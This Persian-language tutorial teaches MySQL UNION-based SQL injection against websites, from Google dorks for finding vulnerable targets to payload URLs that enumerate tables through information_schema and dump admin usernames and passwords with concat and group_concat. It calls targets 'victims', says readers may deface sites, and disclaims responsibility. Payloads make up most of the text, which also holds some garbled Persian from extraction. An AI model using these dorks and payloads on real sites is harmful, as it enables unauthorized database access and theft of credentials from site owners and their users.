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  ==<<<به نام خدای هکر ها >>> ==
  :دوستان قبل از شروع مقاله چند نکته ی مهم رو خدمتتون عرض ميکنم 

  برای ياد گيری بايد اين متن و دستورات رو بر روی کاغذ بنويسيد و حفظ کنيد تا کامل ياد بگيريد. ١

اده ی نادرست دوستان از اين مطالب را ندارد و هر گونه فنده ی مقاله هيچ مسئوليتی در قبال استنويس. ٢
   چی شد يا نه ؟  فهميدیتخلف بر عهده ی خودته 

  .                                                              اگه خواستيد ميتونيد تخريب کنيد از نظر من  .٣

  
  
  

  :روع 
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  :࣌حات و
در اين مقاله قصد دارم شما را با يكي از بهترين و مفيد ترين و پر استفاده ترين 

قبل از هرچيز بايد بگم كه مطالب اين . وذ گري آشنا كنمف ن روش هاي روش از
مقاله ممكنه براي افراد مبتدي سنگين باشه ولي با تمرين همه چيز حل ميشه و 

سري رد نكنيد و روي تمام مطالب تمرين ازتون ميخوام كه هيچ مطلبي رو سر
 شما را به خير و ما و و يه شيفت ديليت دكنيد در غير اين صورت مقاله رو ببندي

  ...را به سلامت 
   همراه باشيدا من يد تا اخر مقاله ب كنپس لطف

Sql چيست ؟   
 Sql  مخفف كلمه يStructured query language  به معني زبان پاسخ گويي 

كه در مقالات ( كارهاي بسيار زيادي ميتوان انجام داد  Sqlبا . فته ميباشد ساخت يا
و شما ميتوانيد به يك ديتابيس دسترسي داشته و ) بعدي حتما آموزش خواهم داد

اطلاعات آن را بازگرداني كنيد و اطلاعات به آن بدهيد و حذف كنيد و يا حتي 
  .د و بسياري از كارهاي ديگرآپديت كني

 درصد 90ياد گيري اين آموزش ميتوانيد ميليون ها سايت را بزنيد كه تقريبا شما با 
آنها آسيب پذير هستند در نتيجه با يك جستجوي كوچول ميتونيد يك قرباني 

  نصيب خودتان كنيد
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Step 1 
 براي عزيزان قصد دارم شما را با اين متد به صورت كامل آشنا كنم تا ديگه هيچ سوالي Sql Injection در اين آموزش 

  . هستند My Sqlهمانطور كه ميدانيد مطالب براي .نباشه
توجه ( است كه شما براي اين كار ميتونيد اين چنين در گوگل سرچ كنيد ) هدف (  Target اولين كار براي شروع  پيدا كردن 

اين كار به بزرگي و پيشرفته بودن داشته باشيد شما در سايت هاي جستوجو گر هاي مختلف نميتوانيد هدفتان را پيدا كنيد و 
  ) :گوگل بر ميگردد 

1. site:.in inurl:id (inurl:.php?) 
2. inurl:'gov' and '.php' and 'pahe=' and 'id=' or 'news=' 
3. inurl:"news.php?id=" site:.no 
4. inurl:"id=" & in****:"Warning: mysql_fetch_assoc() 
5. inurl:(Page.(asp or php or...))?id= 
6. Site : .(Domains) Inurl:id (inurl:.(Php or asp)?) 
7. inurl:news.php?id= 

  )   آموزشي من قرار داردDvD ديگه كه در Dorkو هزاران ِ( 
ما يك عدد قرار دهيم در جستجوي گوگل تمام سايت هاي مورد نظر با همون =  بعد از =inurl:news.php?idمثلا اگر در 

page  را قرار دهيم تمام سايت هايي كه آخرشان 12باز ميشوند مثلا اگه عدد news.phpرن به اين صورت ظاهر ميشوند دا:   
www.target.com/news.php?id=12 

حه دارن كم باشن و اين كار مشكل شما را در  صف12پس پيشنهاد ميكنم كه عدد نزاريد چون امكان داره كه سايت هايي كه 
  جستجو زياد ميكند

  .يراتي روي لينك ها انجام دهيد غي هاي مختلف تDomain و Mssqlهمچنين براي 
  خب حالا فرض كنيد كه ما هدفمون رو پيدا كرديم و حالا ميخواييم بدونيم باگ داره يا نه ؟

  ه شما آموزش ميدمقي رو بطبراي اين كار من دو روش كاراكتر و من
  :كاراكتر  .1

   :پس به اين صورت عمل ميكنم.  مربوطه رو ميگيرمError به آخر سايت 'در اينجا من با اضافه كردن يك 
www.target.com/news.php?id=12' 

  :منطقي  .2
 رو اضافه كردم و صفحه ي And 1=0 اضافه ميكنم و اگر زماني And 1=1 و And 1=0 يك Urlدر اين تست به آخر 

 And 1=1و با اضافه كردن .  داد و ناقص بود يعني سايت آسيب پذير هستErrorسايت كامل و به صورت قبل باز نشد يا 
   .هم صفحه بايد به صورت كامل لود بشه

. ن سايت واسه اين كه سايت باگ داره يا نه اشنا شديد با استفاده از گوگل و چك كردTarget كردن Find با Stepدر اين 
  . كردن آشنا ميشويد Injectدر مراحل بعدي بيشتر با 

 
  

http://www.target.com/news.php?id=12
http://www.target.com/news.php?id=12
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Step 2 
  : هاي هدف رو پيدا كنيم و براي اين منطور ما بايد از دستور columnدر اين قسمت ما ميخوايم تعداد 

order by [column test]-- 
 مربوطه رو گرفتيم استفاده كنيم و براي بار اول Error سايتي كه از آن Urlدر انتهاي دستور ما بايد از اين . استفاده كنيم

 هاي Column گرفتيم يعني تعداد Errorاشتيم بعد از لود پيج اگر عددي كه گذ.يك نامبر ميزاريم column testبه جاي 
  . لود بشهبدين ترتيب نامبر رو كم ميكنيم تا پيج كامل.ما كمتر از اين عدد است

  :مانند زير  .  تا هست19 هاي ما Column ارور نگرفتيم پس تعداد 19لي با نامبر  ارور گرفتيم و20لا ما با نامبر مث
www.target.com/news.php?id=12 order by 50--          error  
www.target.com/news.php?id=12 order by 20--          error  
www.target.com/news.php?id=12 order by 19--          no error  

پس بهتر است به صورت زير عمل . داد تيبل ها بيشتر باشهع كه از تنارند و نامبري ميذ ميخون"-" رو با Number Idمعمولا 
  :كنيد 

www.target.com/news.php?id=-999 order by 19-- 

 ه صورت هاي زير عمل كنيد استفاده كردم ولي شما ميتوانيد بSpace از Order By [column number]در اين جا من در بين 
 :   

www.target.com/news.php?id=-999+order+by+10-- 
www.target.com/news.php?id=-999/**/order/**/by/**/10/* 

  تفاده كنيدسا+ در كل تفاوتي با هم ندارند و شما ميتوانيد از 
 

http://www.target.com/news.php?id=12
http://www.target.com/news.php?id=12
http://www.target.com/news.php?id=12
http://www.target.com/news.php?id=-999
http://www.target.com/news.php?id=-999
http://www.target.com/news.php?id=-999/**/order/**/by/**/10/*
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Step 3  
  :در اين مرحله ميخوام شما را با دستور زير آشنا کنم . رو پيدا کرده و تعداد کلمن ها رو بشماريد Bug در درس های قبلی شما تونستيد 

union+select+[all number column]-- 
و ما . كنيم) تزريق ( Inject  تعداد كلمن ها رو شمرديم بايد بدونيم كه ميتونيم به چه كلمن هايي Order Byزماني كه ما با 

  .توسط اين دستور اين كار را انجام ميديم
 كلمن داشته 19يعني اگر .  ميزاريم1تعداد كلمن هايي كه شمرديم رو از  all number columnدر اين دستور ما به جاي 

  :ورت زير عمل كنيم باشيم بايد به ص
www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-
- 

مبر هاي كلمن نا همون عدد روي پيج خواهند امد كه  استفاده كرديم يك سري نامبر ياUnion Selectبعد ار اين كه ما از 
 بعدي با آن آشنا درس هايم بيرون كه در شييا كلمن هاي مورد نطر رو بك يتونيم به اونها تزريق كنيمهايي هستند كه ما م

  ميشويد
 نتونيم Order Byيعني اگر ما با  جواب بده Order Byتفاده ميكنيم كه س اUnion Selectاز ماني زنكته ي مهم اينه كه ما 

   يكي يكي از يك شروع ميكنيم و نامبر رو بالا ميبريم تا جايي كه به ارور نرسيمUnionكلمن ها رو بشناسيم توسط 
 : داد مورد نظر برسيم مانند زيرعت ميريم جلو تا به Union جواب نميده همينطور با Oder Byالان فرض كنيد كه 

www.target.com/news.php?id=-999+and+1=0+union+all+select+1--               eroor 
www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2--             error 
www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3--           error 
www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3.4--         error 
www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3.4.5--       error 
www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3.4.5.6--     error 

اين كار اعصاب ( و همينطور بالا ميبريم تا به عدد زير برسيم و سايت ديگه ارور نده و كلمن هاي قابل تزريق ظاهر بشن 
  )خورد كنه نه ؟ 

www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-
- 
 

http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3.4--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3.4.5--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3.4.5.6--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
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Step 4 
دستوراتي كه دونه دونه . در اين مرحله ميخوام شما را با چند دستور براي تزريق به كلمن هاي قابل تزريق آشنا كنم

Informationه كه من با توضيح به شما آموزش ميدم رو از سايت بيرون ميكش:  
version() 

 هست كه خيلي مهمه تا بفهميم تا قرباني ما از چه ورژني استفاده My sql سايت Versionاين دستور جهت به دست آوردن 
   با هم متقاوت هستند كه در مراحل بعدي به صورت كامل براتون توضيح ميدم5 و ورژن 4 چون ورژن ميكنه

  : به اين صورت هم به كار ميرود دستوز ورژن
@@version 

  :دستور بعدي به صورت زير است 
user() 

   هستUserاين دستور جهت برگرداندن نام 
  :و همچنين براي برگرداندن نام ديتا بيس از دستور زير استفاده ميكنيم 

database() 
براي اين .  كنيدBypassده كه بايد اون رو جواب نمي ()versionدر بعضي از سايت ها به اين بر ميخوريد كه دستور 

 : كار ميتوانيد از دستور زير استفاده كنيد

Unhex 
  : ميكند براي دستورات بالا به شكل هاي زير به كار ميرود Unhexاين دستور كه 

unhex(hex(version())) 
unhex(hex(user())) 
unhex(hex(database())) 

  : بالا اجرا نشد دستور ديگري وجود دارد به نام  از دستوراتمو همچنين اگر هيچ كدا
Convert 

  : شكل كلي زير را دارد 3اين دستور هم 
convert(version() using latin1) 
convert(user() using latin1) 
convert(database() using latin1) 

  .فاده از اين دستورات شما ميتوانيد ورژن مورد نظرتان را ببينيدستبا ا
  :مثلا فرض كنيد كه با اين دستور . ؟ !!ورات رو كجا بايد وارد كنيم ؟؟؟ب سوال پيش مياد كه اين دستخ(( 

www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-
- 

 كه دلتان خواست دستورات را وارد كنيد هر كدام كه شما ميتوانيد به جاي  12 و 2عدد هايي روي صفحه ظاهر شدند مثل 
  :مانند زير 

www.target.com/news.php?id=-
999+and+1=0+union+all+select+1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 

  يا
www.target.com/news.php?id=-
999+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 

  يا

http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
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www.target.com/news.php?id=-
999+and+1=0+union+all+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 

  يا
www.target.com/news.php?id=-
999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,database(),13,14,15,16,17,18,19-- 

  : كردن Unhexو براي 
www.target.com/news.php?id=-
999+and+1=0+union+all+select+1,unhex(hex(version())),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 

(  تا كلمن برا تزريق هم بده 4 كلمن يا حتي 1شايد سايت (  وارد كنيد وت ر دو كلمن دستوراهرو همچنين حتي ميتونيد در 
  )) كار اين برنامه نويسان بي در و پيكر بعيد نيستاز 

www.target.com/news.php?id=-
999+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,11,user(),13,14,15,16,17,18,19-- 
 
 
 

Step 5 
ز ورژن ها سري ا در اين Injمبناي . به پايين به صورت كامل آشنا كنم5 گرفتن در ورژن Injدر اين قسمت ميخوام شما را با 
  . هاي مورد نظر خودتون رو حدس بزنيدTable و Columnحدس زدن هست و شما بايد نام 

  : و شكل كلي آن به صورت زير است  امكان پذير استFrom  ه با دستورك هست Tableاولين كار فراخواني 
-999+and+1=0+union+all+select[all column numbers]+from+[tabel name]-- 

 : مثلا آن را به شكل زير مينويسيم. رو حدس بزنيم  Tableبايد  ]nametable [اي كه به ج
www.target.com/news.php?id=-
999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+admin-- 

و درست هم از آب در اومد و سايت كامل لود شد و هيچ اروري نگرفتيم در . رو حدس زدم Adminمثلا فرض كنيم من تيبل 
 :مانند . استفاده كنيم) كنندمعمولا از تيبل هاي پر استفاده تست مي( غير اين صورت بايد از تيبل هاي زير

admin , administrator , user , users , number , numbers , login , as_user , admin_user , admins 
 كه در سايت ظاهر قها را به جاي نامبر هاي قابل تزري نآ بايد به حدس زدن كلمن ها بپردازيم كه مادر مرحله ي بعد 

  :ميشوند قرار ميدهيم مانند 
user , user_name , user_admin , admin_user , username , login , pass , password , 
admin_pass 

  .ريق رو پيدا كنيمز استفاده ميكنيم تا كلمن هاي قابل تUnionدر اينجا ما از 
تند كه به صورت  هسpassword   وUsername  هاي ما هم mnColu بود و همچنين Adminكه  مثلا ما تيبل رو حدس زديم

  :زير جايگزين ميكنيم 
www.target.com/news.php?id=-
999+and+1=0+union+all+select+1,username,3,4,5,6,7,8,9,10,11,password,13,14,15,16,17,18,19+from+admin-- 

   كه در سايت بود يوزرنام و پسورد ادمين سايت رو به ما نشون ميده12 و 2و به جاي عدد 
  ) ***برنامه نويسان به اصتلاح حرفه اي(بعضي زمان ها امكان داره كه نام تيبل رو چيز غير قابل حدس داده باشند*** 

ب حالا فرض كنيد كه ميخواهيد يوزرنام و پسورد رو بدست بياريد ولي فقط يك كلمن بـراي تزريـق داريـد يعنـي روي                     خ
 اولا كه شما ميتوانيد دونه دونه يوزر و پسورد رو به دست بياوريد يعني اول يوزر نـام                   9لا  ثسايت فقط يك عدد نوشته شد م      

به جاي اين كار كل يوزرنام و پسورد رو با هم در همون تيبل بيـرون بكـشيد             و بخوانيد و بعد پسورد رو ولي شما ميتوانيد          ر
  :صورت بايد از دستور زير استفاده كنيد كه در اين 

Concat 

http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,database(),13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,database(),13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,unhex(hex(version())),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,unhex(hex(version())),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,11,user(),13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,11,user(),13,14,15,16,17,18,19--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+admin--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+admin--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,username,3,4,5,6,7,8,9,10,11,password,13,14,15,16,17,18,19+from+admin--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,username,3,4,5,6,7,8,9,10,11,password,13,14,15,16,17,18,19+from+admin--
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من با هم بيرون بكشيم و فراخواني كنيم كه به صورت زير آن يم يوزر نام و پسورد رو در يك كليتوانتوسط اين دستور ما م    
  :را فراخواني ميكنيم 

 
www.target.com/news.php?id=-
999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,concat(username,password),10,11,12,13,14,15,16,17,18,19+from
+admin-- 

د اين است كه يوزر نام و پسورد با هم نوشته ميشوند و شما نميدانيد كه يوزر نام كدام است ولي مشكلي كه اينجا پيش ميا
   : اين چنين نوشته ميشود9 باشد در اين صورت به جاي عدد 1Eye و پسورد Imanمثلا ممكنه كه يوزر 

Iman1Eye 
  روش اول روش. ما براي جداسازي و رفع اين مشكل دو راه پيش رو داريم

Hex 
   :وزر نام و پسورد رو با هم جدا كنيم به شكل زيري است كه ما ميتوانيم : يعني  hexاست كه معادل

concat(username,0x3a,password) 
0X =  معادل شروع شدنHex است  
3a =  است:معادل كاراكتر   
   :يگيريمايت به شكل زير خروجي م در نهكه

Iman:1Eye 
 : كاراكتر بعدي كاراكتر زير است

char() 
  : هست كه به شكل زير مينويسيم asciiكه معادل كد 

concat(username,char(58),password) 
   است:معادل كد اسكي  = 58

group_concat() 
  ته باشد همه رو بيرون ميكشدداشادمين  هست با اين تفاوت كه اگر سايت چندين Concatهمانند 

concat_ws() 
 رو 0x3a هست با اين تفاوت كه اگر ما چند كلمن رو بخواهيم بيرون بكشيم لازم نيست كه Concatاين دستور هم همانند 

 خواهد :م بعد خودش بين همه كاراكتر يم يك بار اول مينويسيبين تمام كلمن هايي كه ميخواهيم بيرون بكشيم بنويس
  :شت كه براي اين كار به صورت زير عمل ميكنيم گذا

concat_ws(0x3a,username,password,email,id) 
  
  

http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,concat(username,password),10,11,12,13,14,15,16,17,18,19+from+admin--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,concat(username,password),10,11,12,13,14,15,16,17,18,19+from+admin--
http://www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,concat(username,password),10,11,12,13,14,15,16,17,18,19+from+admin--
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Step 6 
   ) چشم 1پسر (  :                                             

 بـه بـالا   My sql 5در .  به بالا رو آمـوزش بـدم  5خب دوستان در اين بخش ميخوام بهتون نحوه ي حمله به سايت هاي ورژن 
 و نيازي به حدس زدن ندارد كه اين نوع كار هكر را آسان تـر              دارامكان بيرون كشيدن نام همه ي تيبل ها و كلمن ها وجود د            

 :شكل كلي . به پايين آسان تر است5خواهد كرد و مسلما از ورژن 
-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.[tables or columns] 

  :يعني براي بيرون كشيدن نام تمامي تيبل ها 
-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.tables 

  :و براي بيرون كشيدن نام تمامي كلمن ها ازدستور زير استفاده ميكنيم 
-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.columns 

 يك كاتالوگ از نام تمامي     Information_schema.  رو بيرون بكشيم   information ميخواهييم   information_schemaما توسط   
  .تيبل ها و كلمن ها است

 كه در اين صورت اولين كار بيـرون كـشيدن           8 داريم و سايت يك عدد داد مثل         5حالا فرض ميكنيم كه يك قرباني با ورژن         
  :تيبل هاست كه به صورت زير عمل ميكنيم 

-999+and+1=0+union+all+select+1,2,3,4,5,6,7,table_name,9,10+from+information_schema.tables-- 

خواهيم ب رو نوشتيم تا نام اولين تيبل رو به ما نشون بده و همينطور اگه Table_name  دستور8كه ما به جاي 
Column_name رو ببينيم به صورت زير عمل ميكنيم :  

-999+and+1=0+union+all+select+1,2,3,4,5,6,7,column_name,9,10+from+information_schema.tables-- 

 رو نوشتيم تا اولين نام رو به ما Column_name   ما8 و به جاي و به همين صورت ما نام كلمن ها رو بيرون كشيديم
  .نشون بده

سايت بيرون بكشيم بايد از دستور  ها رو به صورت ليست در Column_name ها و Table_nameو براي اين كه همه ي 
Group_concat شكل كلي آن به صورت زير است 2 استفاده كنيم كه :  

-999+and+1=0+union+all+select+1,2,3,4 ,5,6,7, group_concat(table_name),9,10+from+information_schema.tables-- 

  :و براي تمامي كلمن ها 
-999+and+1=0+union+all+select+1,2,3,4 ,5,6,7, group_concat(column_name),9,10+from+information_schema.columns-- 

كه بعضي ازتيبل و كلمن هاي ما مربوط به  شكل بالا يك ليست از نام تمامي تيبل ها و كلمن ها به ما نشون ميده 2در 
Schemaرديم كه در انها گميشوند و ما بايد به دنبال تيبل و كلمن هايي ب ميباشند كه استفاده نInformation و اطلاعات 

  . نظر ما وجود داردمورد
حالا امكان داره بعد از ليست كردن تيبل و كلمن ها به تيبل مورد نظر دست پيدا نكنيم و براي رفع اين مشكل ميتوانيم از 

  .ل آموزش خواهم داد كه در درس هاي بعدي به صورت كام استفاده كنيمwhere و دستور شرطي limit offset  دستور
 بود و Amin_userحالا فرض كنيد كه تمامي تيبل ها و كلمن ها را روي يك سايت بيرون كشيديم كه تيبل مورد نظر ما 

  ) است 4كلمن قابل تزريق ما  (:د پس ما به صورت زير عمل ميكنيم  هستنPassword و Usernameكلمن هاي ما هم 
-999+and+1=0+union+all+select+1,2,3,username,5,6,7,8,9,10+from+admin_user-- 

 :  از دستور زيربراي بيرون كشيدن نام يوزر و
-999+and+1=0+union+all+select+1,2,3,password,5,6,7,8,9,10+from+admin_user-- 

  :براي بيرون كشيدن نام پسورد هست كه براي به دست آوردن هر دو با هم به صورت زير عمل ميكنيم 
-999+and+1=0+union+all+select+1,2,3,group_concat(username,0x3a,password)+from+admin_user-- 

  

Step 7  
 و Limit  توسط.  بيرون بكشيدOffset و Limitنام تيبل و كلمن رو توسط در اين بخش ياد ميگيريد كه چگونه ميتونيد 

Offset ميتونيد دونه دونه نام Table_name ها و Column_nameشكل كلي.  ها رو بيرون كشيد : 
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-
999+and+1=0+union+all+select+1,2,3,4,table_name,6,7,8,9,10+from+information_schema.tables+limit+1+offset
+1-- 

  :و براي كلمن ها 
-
999+and+1=0+union+all+select+1,2,3,4,column_name,6,7,8,9,10+from+information_schema.columns+limit+1+o
ffset+1-- 

   .  مورد نظر به كار ميرودoutput  براي محدود كردنLimit دستور 
 :ن دستور  رو توسط ايTable_name اولين Offset   وLimitدر شكل زير ما توسط 

-
999+and+1=0+union+all+select+1,2,3,4,table_name_6,7,8,9,10+from_information_schema.tables+limit+1+offset
+1-- 

  :  رو توسط اين دستورColumn_name  و اولين
-999+and+1=0+union+all+select+1,2,3,4,column_name,6,7,8,9,10+information_schema.columns+limit+1+offset+1-- 

يعني .  يكي اضافه كنيم Number Offsetاما براي اينكه ما به ترتيب تمامي نام ها رو بيرون بكشيم بايد به . بيرون ميكشيم
 :براي نام هاي بعدي به شكل زير مينويسيم 

+limit+1+offset+2-- 
+limit+1+offset+3-- 
+limit+1+offset+4-- 
+limit+1+offset+5-- 

نتونيم  معمولا زماني به كار ميرود كه ما Limit  . كلمن هاي مورد نظر خودمون برسيمو همينطور ادامه ميديم تا به تيبل و
  .يا همون ليست كردن تيبل ها به تيبل مورد نظر برسيم Group_concat   توسط
Limitشكل كلي دستور .  به يك شكل ديگر هم به كار ميرود كه من يك اشاره ي كوچيك بهش ميكنم: 

-999+and+1=0+union+all+select+1,2,3,4,column_name,6,7,8,9,10+information_schema.columns+limit+1,1-- 

 :ايد به شكل زير تغييرات را انجام بدهيم كه در اين دستور ب

+limit+2,1-- 
+limit+3,1-- 
+limit+4,1-- 
+limit+5,1-- 
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Step 8 
براي .  يك دستور شرطي است كه كلي كار رو آسون كردهWhere.  رو با هم كار كنيم Whereم دستور يدر اين بخش ميخوا

 استفاده Whereنيم كلمن هاي درخواستي رو محدود كنيم از  بتو مورد نظرTable_nameاين كه ما بعد از بدست آوردن 
   ما تنها كلمن هاي تيبل مورد نظر باشدOutput كه  رو به صورتي ميديمQuery ً.ميكنيم 

 :شكل كلي دستور 
 
union+all+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name='[table_name
]'-- 

در اين  رو بيرون بكشيم ون هست و ما ميخواهيم كلمن هاي مربوط به آAdmin ما Tbale_nameفرض كنيم در يك سايت 
 :صورت به شكل زير عمل ميكنيم 

union+all+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name='admin'-- 

 ولي هيچ  هستMagic quote بودن Onيگري وجود داره اينه كه امكان داره با ارور مواجه بشيم كه دليل اون نكته ي د
 يا Char ميتونيد با دمشكل و هيچ چيزي نميتونه چلوي نفوذ يك هكر رو بگيره و شما زماني كه با اين مشكل مواجه شدي

Hex كردن table_name اون رو Bypassآموزشي من به صورت كامل توضيح داده شده است در دي وي دي (  كنيد (
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Step 9 
 تيبـل هـاي مربوطـه ي همـون ديتـابيس رو             Databaseبخش ميخوام بهتون آموزش بدم كه چطور ميشه توسط نام           در اين   

  . آسون تر ميكنهOffset و Limitبيرون بكشيم كه كار رو نسبت به 
 :شكل كلي . ون بكشيم براي اين كار اول بايد نام ديتابيس تيبل رو بير

-999+and+1=0+union+all+select+1,2,3,4,5,6,7,database(),9,10,11,12-- 
 :در صورتي هم كه به محدوديت بر خورديد ميتوانيد به شكل زير عمل كنيد 

-999+and+1=0+union+all+select+1,2,3,4,5,6,7,unhex(hex(database())),9,10,11,12-- 

 :شكل كلي دستور .  و نام ديتا بيس تيبل هاي مورد نظر رو به دست بياريمWhereط دستور ييم توسحالا ما ميخوا
-
999+and+1=0+union+all+select+1,2,3,4,5,6,7,group_concat(table_name),9,10,11,12+from+information_schema.tables+wh
ere+table_schema='[database name]'-- 

  . كنيدHex  يا Charيت برخورديد بايد نام ديتابيس رو و در صورتي هم كه به محدود
  
  
  
  

I Am Iranian Crazy >> 1 EYe
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  توضيحات مفهومي
 

اين دستور براي ايـن اسـت كـه دسـته اي از             
  ركورد ها رو بررسي كند

Group_concat()  

ــدي اســت در جــدول    ــام فيل ــارت ن ــن عب اي
information_schema      كه نام ساير جـدول 

ي ميشوند و به كمك اين عبارت       در آن نگهدار  
ميتوانيم نام جدولي كه در آن دسترسي هـا و          

  نام كاربري ها وجود دارد را ببينيم

Table_name 

 فيلـدي  table_name  اين دستور نيز ماننـد 
اسـت كـه     information_schemaدر جدول   

در آن نام ستون هـا نگـه داري ميـشوند و بـا              
 هاي يوزر   كمك اين عبارت ميتوانيم نام فيلد     

  نام وپسورد را بيابيم

Column_name 

 اسـت و بـراي       : كاراكتر   hexاين عبارت كد    
تفكيك مقادير خروجي از ديتـابيس اسـتفاده        

  .ميشود

0x3a  

اين عبارت نـام جـدولي اسـت كـه روي هـر       
 استفاده ميكند وجـود  my sql 5هاستي كه از 

در اين ديتابيس اطلاعات مربوط به ساير       . دارد
يس هــايي كـه كــاربر ميـسازد ذخيــره   ديتـاب 

 قبيـل نـام جـدول و نـام          اطلاعاتي از .شود  مي
ما ميتوانيم بـا    . ام ديتابيس ها  ركورد و حتي ن   

اده از ايــن ديتــابيس ســ queryاشــتن يــك گذ
اطلاعاتي كه بـراي مـا سـود منـد هـست رو             

  استخراج كنيم

Information_schema 

 بـراي محـدود كـردن نمـايش         sqlاين دستور   
عات بـر مبنـاي تعـداد ركـورد اسـتفاده           اطلا

  ميشود

limit  

كار اين دستور قدم زدن در بـين ركـورد هـا            
  .است

Limit 1 offset 1 يعني نمايش اولين ركورد و 
limit 1 offset 2  يعني نمايش دومين ركـورد 

 تعـداد ركـورد هـا رو از         offsetدستور  . است
  ضفر شروع ميكند

offset  
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